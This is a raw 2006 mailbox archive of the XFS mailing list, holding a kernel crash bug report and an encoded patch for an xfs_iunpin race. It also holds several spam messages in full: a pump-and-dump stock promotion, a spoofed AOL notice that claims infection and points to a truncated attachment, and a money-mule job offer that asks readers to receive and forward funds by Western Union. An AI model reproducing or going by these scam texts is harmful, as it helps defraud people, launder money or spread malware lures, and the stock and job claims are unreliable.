k949fJaG008827 for ; Wed, 4 Oct 2006 02:41:20 -0700 X-ASG-Debug-ID: 1159951187-13472-351-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.automatix.de (www.automatix.de [213.131.230.237]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1BE96405B62 for ; Wed, 4 Oct 2006 01:39:47 -0700 (PDT) Received: from uucp by mail.automatix.de with local-bsmtp (Exim 3.36 #1) id 1GV2L5-0007mS-00 for xfs@oss.sgi.com; Wed, 04 Oct 2006 10:42:51 +0200 Received: from pc2.s.automatix.de ([192.168.11.12]) by s.automatix.de with esmtp (Exim 3.36 #1) id 1GV2Eq-0004DW-00 for xfs@oss.sgi.com; Wed, 04 Oct 2006 10:36:24 +0200 From: Juergen Sauer Reply-To: juergen.sauer@automatix.de Organization: AutomatiX GmbH To: xfs@oss.sgi.com X-ASG-Orig-Subj: Critical Bugreport: Linux Kernel 2.6.17.13, UNUSABLE Subject: Critical Bugreport: Linux Kernel 2.6.17.13, UNUSABLE Date: Wed, 4 Oct 2006 10:36:19 +0200 User-Agent: KMail/1.9.4 MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart1611629.BaUTkEGrPR"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200610041036.23291.juergen.sauer@automatix.de> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22528 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9169 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: juergen.sauer@automatix.de Precedence: bulk X-list: xfs Status: O --nextPart1611629.BaUTkEGrPR Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Hi! The XFS System in Kernel 2.6.17.13 is unusable broken. I have several servers and clients using XFS as root FS. The Last screen of death (digicam): http://www.automatix.de/~jojo/xfs-error-kernel-2.6.17.13.jpg On many systems (Ubuntu 6.06.1 LTS) with own kernel 2.6.17.13 it happens, that the kernel crashes like the "upper screen dump". Booting form Knoppix 5.01 CD can _not_ xfs_repair the filesystem. This bug make the system completely unusable. It is not possible to "rm -rf" or to get the filesystem in any clean/usable= state. There are no "badblocks" (since hardware RAID 5 controllers like mgega_raid= , icp vortex, 3ware) are used. Installing a fresh, system does show up the problem after somewhat time in = production again. So what to do ? Please help! mfG J. Sauer --=20 J=C3=BCrgen Sauer - AutomatiX GmbH, +49-4209-4699, jojo@automatix.de Das Linux Systemhaus - Service - Support - Server - L=C3=B6sungen http://www.automatix.de OpenOffice erhalten Sie hier kostenfrei http://de.o= penoffice.org/ --nextPart1611629.BaUTkEGrPR Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (GNU/Linux) iD4DBQBFI3KHW7UKI9EqarERArmXAJ9UiXIMy3qOJ5OwAiUOdroB82FC0ACXXcPK PH64PtR0joV9KzipA3/h0g== =YZ8A -----END PGP SIGNATURE----- --nextPart1611629.BaUTkEGrPR-- From owner-xfs@oss.sgi.com Wed Oct 4 03:24:22 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 04 Oct 2006 03:24:27 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k94AOLaG012920 for ; Wed, 4 Oct 2006 03:24:22 -0700 X-ASG-Debug-ID: 1159953617-28710-601-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from tyo202.gate.nec.co.jp (TYO202.gate.nec.co.jp [202.32.8.206]) by cuda.sgi.com (Spam Firewall) with ESMTP id A80B9D17BB66 for ; Wed, 4 Oct 2006 02:20:17 -0700 (PDT) Received: from mailgate3.nec.co.jp (mailgate53.nec.co.jp [10.7.69.192]) by tyo202.gate.nec.co.jp (8.13.8/8.13.4) with ESMTP id k949KFDK006201 for ; Wed, 4 Oct 2006 18:20:15 +0900 (JST) Received: (from root@localhost) by mailgate3.nec.co.jp (8.11.7/3.7W-MAILGATE-NEC) id k949KFG15016 for xfs@oss.sgi.com; Wed, 4 Oct 2006 18:20:15 +0900 (JST) Received: from mailsv.linux.bs1.fc.nec.co.jp (mailsv.linux.bs1.fc.nec.co.jp [10.34.125.2]) by mailsv5.nec.co.jp (8.11.7/3.7W-MAILSV4-NEC) with ESMTP id k949KEi07028 for ; Wed, 4 Oct 2006 18:20:14 +0900 (JST) Received: from [10.34.125.197] (johnny.linux.bs1.fc.nec.co.jp [10.34.125.197]) by mailsv.linux.bs1.fc.nec.co.jp (Postfix) with ESMTP id 6623FE4824A for ; Wed, 4 Oct 2006 18:20:14 +0900 (JST) Message-ID: <45237CCE.4010007@ah.jp.nec.com> Date: Wed, 04 Oct 2006 18:20:14 +0900 From: Takenori Nagano User-Agent: Thunderbird 1.5.0.7 (Windows/20060909) MIME-Version: 1.0 To: xfs@oss.sgi.com X-ASG-Orig-Subj: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). Subject: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). Content-Type: multipart/mixed; boundary="------------030508040500000105030608" X-Barracuda-Spam-Score: 1.05 X-Barracuda-Spam-Status: No, SCORE=1.05 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE_7582B X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22529 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.05 BSF_RULE_7582B BODY: Custom Rule 7582B X-archive-position: 9170 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: t-nagano@ah.jp.nec.com Precedence: bulk X-list: xfs Status: O This is a multi-part message in MIME format. --------------030508040500000105030608 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit Hi, The patch attached to this mail is a fix for a race of xfs_iunpin() and generic_delete_inode(). generic_delete_inode() checks inode->i_state using BUG_ON() after clear_inode(). At this point inode->i_state value must be I_CLEAR after clear_inode(). But we detected inode->i_state was not I_CLEAR after clear_inode(). Kernel panic occurred by BUG_ON(inode->i_state != I_CLEAR). We analyzed the memory dump, then we found I_DIRTY_SYNC and I_CLEAR ware set. The function to set I_DIRTY_SYNC is only __mark_inode_dirty(). We took a backtrace when i_state is I_CLEAR in __mark_inode_dirty(). This is a backtrace when inode->i_state=I_CLEAR in __mark_inode_dirty(). > > Call Trace: > > [] show_stack+0x80/0xa0 > > sp=e00000012c077970 bsp=e00000012c0713e8 > > [] die+0x1c0/0x2e0 > > sp=e00000012c077b40 bsp=e00000012c0713b0 > > [] ia64_bad_break+0x2f0/0x400 > > sp=e00000012c077b40 bsp=e00000012c071388 > > [] ia64_leave_kernel+0x0/0x260 > > sp=e00000012c077bd0 bsp=e00000012c071388 > > [] __mark_inode_dirty+0x390/0x3a0 > > sp=e00000012c077da0 bsp=e00000012c071330 > > [] xfs_iunpin+0x110/0x120 [xfs] > > sp=e00000012c077da0 bsp=e00000012c071310 > > [] xfs_inode_item_unpin+0x30/0x60 [xfs] > > sp=e00000012c077da0 bsp=e00000012c0712f0 > > [] xfs_trans_chunk_committed+0x280/0x380 [xfs] > > sp=e00000012c077da0 bsp=e00000012c071298 > > [] xfs_trans_committed+0x80/0x320 [xfs] > > sp=e00000012c077da0 bsp=e00000012c071248 > > [] xlog_state_do_callback+0x4a0/0xa20 [xfs] > > sp=e00000012c077da0 bsp=e00000012c0711b0 > > [] xlog_iodone+0x190/0x300 [xfs] > > sp=e00000012c077da0 bsp=e00000012c071168 > > [] pagebuf_iodone_work+0xc0/0x120 [xfs] > > sp=e00000012c077da0 bsp=e00000012c071148 > > [] worker_thread+0x3f0/0x5c0 > > sp=e00000012c077da0 bsp=e00000012c0710b0 > > [] kthread+0x220/0x280 > > sp=e00000012c077e10 bsp=e00000012c071068 > > [] kernel_thread_helper+0xe0/0x100 > > sp=e00000012c077e30 bsp=e00000012c071040 We found __mark_inode_dirty() was called by xfs_iunpin(). xfs_iunpin() sets I_DIRTY_SYNC on inode->i_state if i_pincount is 0. If __mark_inode_dirty() is running simultaneously between clear_inode() and BUG_ON() in generic_delete_inode(), BUG_ON() is called. We think this is a cause of this bug. All dirty buffers are invalidated by clear_inode(), but in-core log is not deleted and the state will be inconsistent. The in-core log is written by xfs_logd even if inode was already deleted. A cause of this bug is xfs does not care in-core log after deleting the inode. xfs_fs_clear_inode() calls xfs_reclaim(). We think the recent fixes to xfs_iunpin() were not correct. With those patches, xfs_iunpin() now can determine whether xfs_inode is recycled or not, but it is not essential way to fix this bug. xfs_iunpin() must never touch xfs_inode which is already freed. If try_to_free_page() collects some slabs including pinned inode, it is possible to result in memory corruption. We come up with three possible solutions: 1. xfs_fs_clear_inode() waits for i_pincount to become 0. 2. xfs_fs_clear_inode() syncs in-core log if i_pincount is not 0. 3. xfs_fs_clear_inode() invalidates in-core log that relates to the deleted inode. We chose 2, because the frequency of sync is almost same to as that of BUG(), and it is the same way to sync in-core log in xfs_fsync() when inode is still pinned. It has very very little effect for xfs performance. This patch fixes to sync in-core log if i_pincount is not 0 in xfs_fs_clear_inode(). We think this is essential. We already tested this patch for more than 100 hours in kernel-2.6.18. If we did not use this patch, BUG() was called within only 5 minutes on 32way Itanium server. We used a test program that repeats open(), write() and unlink() in parallel. Best Regards, -- Takenori Nagano, NEC t-nagano@ah.jp.nec.com --------------030508040500000105030608 Content-Type: text/plain; name="xfs-fix-log-race.patch" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="xfs-fix-log-race.patch" ZGlmZiAtTmFydSBsaW51eC0yLjYuMTgub3JpZy9mcy94ZnMvbGludXgtMi42 L3hmc19zdXBlci5jIGxpbnV4LTIuNi4xOC9mcy94ZnMvbGludXgtMi42L3hm c19zdXBlci5jDQotLS0gbGludXgtMi42LjE4Lm9yaWcvZnMveGZzL2xpbnV4 LTIuNi94ZnNfc3VwZXIuYwkyMDA2LTA5LTIwIDEyOjQyOjA2LjAwMDAwMDAw MCArMDkwMA0KKysrIGxpbnV4LTIuNi4xOC9mcy94ZnMvbGludXgtMi42L3hm c19zdXBlci5jCTIwMDYtMDktMjggMTg6MTY6MDIuMjgwMDAwMDAwICswOTAw DQpAQCAtNDMzLDYgKzQzMyw3IEBADQogCXN0cnVjdCBpbm9kZQkJKmlub2Rl KQ0KIHsNCiAJYmh2X3Zub2RlX3QJCSp2cCA9IHZuX2Zyb21faW5vZGUoaW5v ZGUpOw0KKwl4ZnNfaW5vZGVfdAkJKmlwOw0KIA0KIAl2bl90cmFjZV9lbnRy eSh2cCwgX19GVU5DVElPTl9fLCAoaW5zdF90ICopX19yZXR1cm5fYWRkcmVz cyk7DQogDQpAQCAtNDUyLDEwICs0NTMsMTQgQEANCiAJdnAtPnZfZmxhZyAm PSB+Vk1PRElGSUVEOw0KIAlWTl9VTkxPQ0sodnAsIDApOw0KIA0KLQlpZiAo Vk5IRUFEKHZwKSkNCisJaWYgKFZOSEVBRCh2cCkpIHsNCisJCWlwID0gWEZT X0JIVlRPSShWTkhFQUQodnApKTsNCisJCWlmICh4ZnNfaXBpbmNvdW50KGlw KSkgDQorCQkJeGZzX2xvZ19mb3JjZShpcC0+aV9tb3VudCwgKHhmc19sc25f dCkwLA0KKwkJCQkgICAgICBYRlNfTE9HX0ZPUkNFIHwgWEZTX0xPR19TWU5D KTsNCiAJCWlmIChiaHZfdm9wX3JlY2xhaW0odnApKQ0KIAkJCXBhbmljKCIl czogY2Fubm90IHJlY2xhaW0gMHglcFxuIiwgX19GVU5DVElPTl9fLCB2cCk7 DQotDQorCX0NCiAJQVNTRVJUKFZOSEVBRCh2cCkgPT0gTlVMTCk7DQogDQog I2lmZGVmIFhGU19WTk9ERV9UUkFDRQ0K --------------030508040500000105030608-- From owner-xfs@oss.sgi.com Wed Oct 4 05:51:28 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 04 Oct 2006 05:51:40 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k94CpPaG000498 for ; Wed, 4 Oct 2006 05:51:28 -0700 X-ASG-Debug-ID: 1159962459-10737-615-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from cci-inc.com (cac94-3-82-224-22-183.fbx.proxad.net [82.224.22.183]) by cuda.sgi.com (Spam Firewall) with SMTP id 57CAA46C7BE for ; Wed, 4 Oct 2006 04:47:39 -0700 (PDT) Message-Id: <90303470.309308436@cci-inc.com> From: "Jessie Willard" To: Cc: X-ASG-Orig-Subj: dollarso Subject: dollarso Date: Wed, 04 Oct 2006 13:47:38 +0100 MIME-Version: 1.0 X-Antivirus: avast! (VPS 0640-1, 03/10/2006), Outbound message X-Antivirus-Status: Clean X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22537 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9172 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: DuncanRochaxhh@cci-inc.com Precedence: bulk X-list: xfs Status: O Energy Prices are near all time low, This is the best time to lock in a quality energy stock Introducing : WBRS Exchange Pinksheets Price: 0.05 3 Day Estimated : .50 ( +1000%) WILD BRUSH MAKES A MOVE! Wild Brush Acquires Additional Powder River Oil & Gas Lease. Who is Wild Brush? Wild Brush Energy is a diversified energy company whose primary goal is to identify and develop Oil & Coalbed Methane sites within the State of Wyoming. In addition, Wild Brush Energy continues to evaluate clean air alternative energy producing technologies such as Wind Power. Wild Brush trades in the U.S. under the symbol "WBRS." ADD THIS ENERGY STOCK TO YOUR LIST AND WATCH IT TRADE CLOSELY ON WEDNESDAY OCTOBER 4! Get In NOW !!! You can lead a horse to water but you can't make him drink. Spring rain, Fall gold. She's a nut. To gild refined gold, to paint the lily. Say it with flowers. Up a tree. What goes down usually comes up. Want my place in the sun. This is for the birds. From owner-xfs@oss.sgi.com Wed Oct 4 05:51:24 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 04 Oct 2006 05:51:34 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k94CpLaG000417 for ; Wed, 4 Oct 2006 05:51:24 -0700 X-ASG-Debug-ID: 1159962231-10737-571-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp01.glodns.net (smtp01.glodns.net [70.86.175.210]) by cuda.sgi.com (Spam Firewall) with ESMTP id BA46F46BCC9 for ; Wed, 4 Oct 2006 04:43:51 -0700 (PDT) Message-ID: <632955410993281250@smtp01.glodns.net> From: "System Administrator"@oss.sgi.com To: xfs@oss.sgi.com Date: Wed, 4 Oct 2006 06:44:59 -0500 X-ASG-Orig-Subj: Delivery Failure Subject: Delivery Failure X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22537 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9171 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: owner-xfs@oss.sgi.com Precedence: bulk X-list: xfs Status: O Could not deliver message to the following recipient(s): Failed Recipient: example@aol.com Reason: Remote host said: 550 MAILBOX NOT FOUND -- The header and top 20 lines of the message follows -- Received: from smtp01 [127.0.0.1] by smtp01.glodns.net with SMTP; Wed, 4 Oct 2006 06:29:07 -0500 Received: from 196.211.28.150 with PortTunnel; Wed, 4 Nov 2006 06:28:54 -0500 Received: from 192.168.13.166 for example@aol.com; Wed, 04 Oct 2006 12:25:41 +0200 From: xfs@oss.sgi.com To: example@aol.com Subject: Returned mail: see transcript for details Date: Wed, 4 Oct 2006 12:23:16 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0009_37247AFA.4DF06866" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0009_37247AFA.4DF06866 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Dear user example@aol.com, We have found that your email account was used to send a large amount of spam messages during this week. Probably, your computer was infected and now runs a hidden proxy server. We recommend you to follow our instruction in order to keep your computer safe. Have a nice day, aol.com user support team. ------=_NextPart_000_0009_37247AFA.4DF06866 Content-Type: application/octet-stream; From owner-xfs@oss.sgi.com Wed Oct 4 06:41:01 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 04 Oct 2006 06:41:12 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k94Df0aG005643 for ; Wed, 4 Oct 2006 06:41:01 -0700 X-ASG-Debug-ID: 1159964851-28702-628-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from hannover.0spam.com (e4.46.5d45.static.theplanet.com [69.93.70.228]) by cuda.sgi.com (Spam Firewall) with ESMTP id 313D4D17BB6B for ; Wed, 4 Oct 2006 05:27:31 -0700 (PDT) Received: from spamcom by hannover.0spam.com with local (Exim 4.52) id 1GV5qC-00028s-Qx for xfs@oss.sgi.com; Wed, 04 Oct 2006 05:27:12 -0700 To: xfs@oss.sgi.com X-Sender-IP: 64.97.168.38 From: verify@0spam.com X-ASG-Orig-Subj: Re: Error Subject: Re: Error Message-Id: Date: Wed, 04 Oct 2006 05:27:12 -0700 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - hannover.0spam.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [32003 32003] / [47 12] X-AntiAbuse: Sender Address Domain - hannover.0spam.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22535 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name X-archive-position: 9173 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: verify@0spam.com Precedence: bulk X-list: xfs Status: O ATTENTION! A message you recently sent to a 0Spam.com user with the subject "Error" was not delivered because they are using the 0Spam.com anti-spam service. Please click the link below to confirm that this is not spam. When you confirm, this message and all future messages you send will automatically be accepted. http://www.0spam.com/v.cgi?user=1067173562&verify=851512 ======================================== This is an automated message from 0Spam.com. Please do not reply to this Email. Looking for a free anti-spam service? Visit us at http://www.0spam.com to find out more. From owner-xfs@oss.sgi.com Wed Oct 4 07:24:22 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 04 Oct 2006 07:24:28 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k94EOLaG009267 for ; Wed, 4 Oct 2006 07:24:21 -0700 X-ASG-Debug-ID: 1159967943-21275-271-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from webhostbg.com (host1.regbg.com [213.137.61.146]) by cuda.sgi.com (Spam Firewall) with SMTP id CC047D17B113 for ; Wed, 4 Oct 2006 06:19:03 -0700 (PDT) Received: (qmail 9498 invoked by uid 1028); 4 Oct 2006 12:49:23 -0000 Date: 4 Oct 2006 12:49:23 -0000 Message-ID: <20061004124923.9494.qmail@webhostbg.com> To: xfs@oss.sgi.com X-ASG-Orig-Subj: Employment Needed Subject: Employment Needed From: "George.Nortune" Reply-To: george.nortune@operamail.com MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22541 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9174 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: george.nortune@operamail.com Precedence: bulk X-list: xfs Status: O Hello dear friend! We are happy to announce about the upcoming employee recruiting at the Service Finance Inc. Yes, the vital moment has come and Your chance of getting the top-rated financial manager position is as close as never before. The primary concern of all employees of Notune Finance Inc. is our continuous effort for complete satisfaction of our customers in terms of service, for maintaining the highest level of quality and reliability of the services we provide. For the initial period we are offering a part-time employment, later depending on your activity results you can turn to the full-time employment. As for now, the position of the Service Finance Inc. abroad financial manager that is based on punctuality, managerial abilities and responsibility includes the following requirements: 1. Be able to check your email several times a day 2. Be able to respond to emails immediately 3. Be able to work overtime if needed 4. Be responsible and hard working 5. Be able to open bank accounts for company needs (if needed) 6. Should have personal bank account You will also receive detailed instructions for subsequent actions from our manager with information how to receive/transfer the money. The entire process is quite simple. We guarantee that no other third party will have an access to any source with your personal information storage. After that You will have to open an account in one of the banks Finance Service Inc. is working with. You will receive payments from our clients to Your bank account and after the withdrawal the money should be sent to our abroad agents either via the Western Union money transfer service or via the Money Gram postal/financial transfer office. These services are most popular and convenient in today's world of intense financial activity and the purpose of increasing the customers' satisfaction. Payment for Your services: You will receive from 5% to 10% from the total amount of money You receive to Your bank account for every successive transaction. Your Finance Service Inc. activity will take no more that 8-10 hours per week and approximately Your weekly income will be around 500-800 USD dollars. You bear the responsibility for safety of this money. We also examine the money origin and the customer's honesty to provide legality and safety of our business for all our abroad employees. Our reputation is very important to us, therefore think twice before accepting our offer. We only work with honest and responsible people. Don't hesitate to contact us and ask any questions. We are looking forward to hearing from you soon. Send Your resume to mail : george.nortune@operamail.com P.S If You prove to be a well-motivated and diligent employee of Nortune Financial Service Inc. , we might open our branch in Your home-town with You taking the leading position in this business affair. It's all up to You whether You want to live Your life with respect and high-financial background or not with us. George.M.Markus CEo/D.G Notune Financial Service Inc. From owner-xfs@oss.sgi.com Wed Oct 4 07:24:20 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 04 Oct 2006 07:24:35 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k94EOJaG009214 for ; Wed, 4 Oct 2006 07:24:20 -0700 X-ASG-Debug-ID: 1159967490-2945-365-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from localhost (ppp83-237-180-174.pppoe.mtu-net.ru [83.237.180.174]) by cuda.sgi.com (Spam Firewall) with SMTP id 63483D17BB96 for ; Wed, 4 Oct 2006 06:11:30 -0700 (PDT) Message-ID: <7a6301c6e7b5$3b0cf484$8e7ce737@aye.net> From: =?windows-1251?B?wuDr5fDgINHl8OXk4A==?= To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: =?windows-1251?B?yOfs5e3l7ej/IOgg5O7v7uvt5e3o/yDiIOru6+vl6vLo4u3uLeTu4+7i7vDt7uUg?= =?windows-1251?B?8OXj8+vo8O7i4O3o5Q==?= Subject: =?windows-1251?B?yOfs5e3l7ej/IOgg5O7v7uvt5e3o/yDiIOru6+vl6vLo4u3uLeTu4+7i7vDt7uUg?= =?windows-1251?B?8OXj8+vo8O7i4O3o5Q==?= Date: Wed, 04 Oct 2006 16:06:17 +0300 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express V6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Barracuda-Spam-Score: 3.29 X-Barracuda-Spam-Status: No, SCORE=3.29 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_FONT_BIG, HTML_FONT_FACE_BAD, HTML_TAG_BALANCE_BODY, SUBJECT_ENCODED_TWICE, SUBJ_HAS_SPACES X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22541 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.54 SUBJECT_ENCODED_TWICE Subject: MIME encoded twice 0.65 SUBJ_HAS_SPACES Subject contains lots of white space 0.39 HTML_TAG_BALANCE_BODY BODY: HTML has unbalanced "body" tags 0.45 HTML_FONT_FACE_BAD BODY: HTML font face is not a word 0.26 HTML_FONT_BIG BODY: HTML tag for a big font size Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Content-length: 2938 X-archive-position: 9175 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: shi67@aye.net Precedence: bulk X-list: xfs Status: O =20 =20 =C4=E0=EC=FB =E8 =C3=EE=F1=EF=EE=E4=E0! =20 =CF=F0=E5=E4=EB=E0=E3=E0=E5=EC =EF=EE=F3=F7=E0=F1=F2=E2=EE=E2=E0=F2=FC =E2= =ED=E0=F8=E5=EC =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=E8: =20 =CD=EE=E2=EE=E5 =E2 =F2=F0=F3=E4=EE=E2=EE=EC =E7=E0=EA=EE=ED=EE=E4=E0=F2=E5= =EB=FC=F1=F2=E2=E5. =CA=E0=F0=E4=E8=ED=E0=EB=FC=ED=FB=E5 =E8=E7=EC=E5=ED=E5=ED=E8=FF =E2 =D2=F0= =F3=E4=EE=E2=EE=EC =EA=EE=E4=E5=EA=F1=E5 =D0=D4 =E2 2006 =E3=EE=E4=F3 12 =EE=EA=F2=FF=E1=F0=FF 6 =EE=EA=F2=FF=E1=F0=FF 2006 =E3=EE=E4=E0 =E2=F1=F2=F3=EF=E0=E5=F2 = =E2 =F1=E8=EB=F3 =CD=EE=E2=E0=FF =F0=E5=E4=E0=EA=F6=E8=FF =D2=F0=F3=E4=EE= =E2=EE=E3=EE =EA=EE=E4=E5=EA=F1=E0 =D0=D4. =D4=E5=E4=E5=F0=E0=EB=FC=ED=FB=EC =E7=E0=EA=EE=ED=EE=EC =B990-=D4= =C7 =E2 =D2=F0=F3=E4=EE=E2=EE=E9 =EA=EE=E4=E5=EA=F1 =E2=ED=EE=F1=FF=F2=F1= =FF =EA=E0=F0=E4=E8=ED=E0=EB=FC=ED=FB=E5 =E8=E7=EC=E5=ED=E5=ED=E8=FF =96 =E1=EE=EB=E5=E5 300 =EF=EE=EF=F0=E0=E2=EE= =EA, =E2=E2=EE=E4=E8=F2=F1=FF 13 =ED=EE=E2=FB=F5 =F1=F2=E0=F2=E5=E9.=20 =C2 =CF=D0=CE=C3=D0=C0=CC=CC=D3 =C2=D5=CE=C4=C8=D2 =D4=E5=E4=E5=F0=E0=EB=FC=ED=FB=E9 =E7=E0=EA=EE=ED =EE=F2 30.06.2006=E3. = =B9 90-=D4=C7 =96 =E1=EE=EB=E5=E5 300 =EF=EE=EF=F0=E0=E2=EE=EA =E2 =E4=E5= =E9=F1=F2=E2=F3=FE=F9=E8=E9 =D2=CA, 13 =ED=EE=E2=FB=F5 =F1=F2=E0=F2=E5=E9, =F1=F0=EE=EA=E8 =E8=F5 =E2= =E2=E5=E4=E5=ED=E8=FF. =CE=F5=F0=E0=ED=E0 =F2=F0=F3=E4=E0. =CF=E5=F0=E5=E2= =EE=E4=FB =ED=E0 =E4=F0=F3=E3=F3=FE =F0=E0=E1=EE=F2=F3. =D2=F0=F3=E4 =F1=EE=E2=EC=E5=F1=F2=E8=F2=E5=EB=E5=E9. = =CF=EE=F0=FF=E4=EE=EA =F1=EE=E2=EC=E5=F9=E5=ED=E8=FF =F0=E0=E1=EE=F2 =E8 = =E4=EE=EB=E6=ED=EE=F1=F2=E5=E9. =D3=E2=EE=EB=FC=ED=E5=ED=E8=FF =EF=EE =E8=ED=E8=F6=E8=E0=F2=E8=E2=E5 =F0=E0=E1=EE=F2=EE=E4=E0=F2=E5=EB=FF.= =CE=EF=EB=E0=F2=E0 =F2=F0=F3=E4=E0. =C3=E0=F0=E0=ED=F2=E8=E8 =F1=F2=F3=E4= =E5=ED=F2=E0=EC =F1=E5=E2=E5=F0=FF=ED=E0=EC =E8 =E4=F0. =CE=F2=E2=E5=F2=FB =ED=E0 =E2=EE=EF=F0=EE=F1=FB. =C8=E7=EC=E5= 